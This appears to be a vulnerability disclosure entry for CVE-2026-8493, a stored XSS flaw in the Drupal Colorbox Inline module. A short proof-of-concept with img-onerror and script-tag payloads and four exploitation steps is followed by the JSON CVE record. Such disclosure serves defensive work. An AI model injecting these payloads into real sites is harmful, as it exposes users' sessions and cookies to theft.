CVE-2026-8493

// Proof of Concept for CVE-2026-8493 // This payload demonstrates the XSS vulnerability in the Colorbox Inline module. // Inject the following string into a vulnerable input field (e.g., content or title): var payload = '<img src=x onerror=alert(document.cookie)>'; // Alternatively, if script tags are not stripped: // var payload = '<script>alert("CVE-2026-8493 Confirmed")</script>'; // Exploitation steps: // 1. Log in as a low-privilege user. // 2. Submit the payload in the Colorbox Inline configuration or content. // 3. Wait for an admin or another user to view the page. // 4. The JavaScript executes in the victim's browser context.

{"cve": {"id": "CVE-2026-8493", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.987", "lastModified": "2026-05-20T18:16:28.287", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Colorbox Inline allows Cross-Site Scripting (XSS).\n\nThis issue affects Colorbox Inline: from 0.0.0 before 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-036", "source": "[email protected]"}]}}